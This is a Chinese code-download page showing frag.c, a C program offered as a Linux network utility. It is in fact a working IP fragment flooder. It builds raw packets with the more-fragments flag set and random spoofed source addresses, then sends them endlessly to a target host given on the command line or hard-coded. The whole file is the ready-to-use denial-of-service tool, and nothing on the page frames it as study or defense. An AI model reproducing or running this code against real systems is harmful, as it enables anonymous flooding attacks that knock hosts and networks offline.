⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 frag.c

📁 一个linux下面的几个网络程序
💻 C
字号:
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <netinet/ip.h>#include <arpa/inet.h>#include <sys/time.h>int 	create_raw_socket(void);int 	send_frag_ip_pkt(int);u_short in_cksum(u_short *, int);static u_short ip_id = 0x789;static char    *dst_addr = "128.255.80.80";int main(int argc, char *argv[]){	int sock = create_raw_socket();	int n = 0;	if(argc>=2) {		dst_addr = argv[1];	}	srand(time(NULL));	while(1) {		printf("%d: Sending IP packet ... ", n++);		fflush(stdout);		if(send_frag_ip_pkt(sock)<0) {			perror("sendto");			return -1;		}		printf("done\n");		if( (n%256)==0 ) 			sleep(1);	}	close(sock);	return 0;}int create_raw_socket(void){	int	sock;	int	on = 1;	sock = socket(AF_INET, SOCK_RAW,  IPPROTO_ICMP);	if(sock<0) {		perror("socket");		exit(1);	}	if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on))<0) {		perror("setsockopt");		exit(1);	}	return sock;}int send_frag_ip_pkt(int sd){	struct  sockaddr_in sin;	char	buf[256];	struct	iphdr	    *iph;	sin.sin_family = AF_INET;	sin.sin_addr.s_addr = inet_addr(dst_addr);	sin.sin_port = 0;	iph = (struct iphdr *)buf;	iph->ihl	= 5;	iph->version	= 4;	iph->tos	= 0;	iph->tot_len	= sizeof(buf);	iph->id		= ip_id++;	iph->frag_off	= htons(IP_MF);	iph->ttl	= 255;	iph->protocol	= IPPROTO_TCP;	iph->check	= 0;	iph->saddr	= rand();	iph->daddr	= inet_addr(dst_addr);		iph->check 	= in_cksum((u_short *)buf, 20);	return sendto(sd, buf, sizeof(buf), 0,                        (struct sockaddr *)&sin,                       sizeof(sin));}u_short in_cksum(u_short *addr, int len){	int	nleft = len;	int	sum   = 0;	u_short *w = addr;	u_short answer = 0;	while(nleft > 1) {		sum += *w;		w++;		nleft -= 2;	}	if(nleft == 1) {		*(unsigned char *)(&answer) = *(unsigned char *)w;		sum += answer;	}	sum = (sum>>16) + (sum & 0xffff);	sum += (sum>>16);		answer = ~sum;	return answer;}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -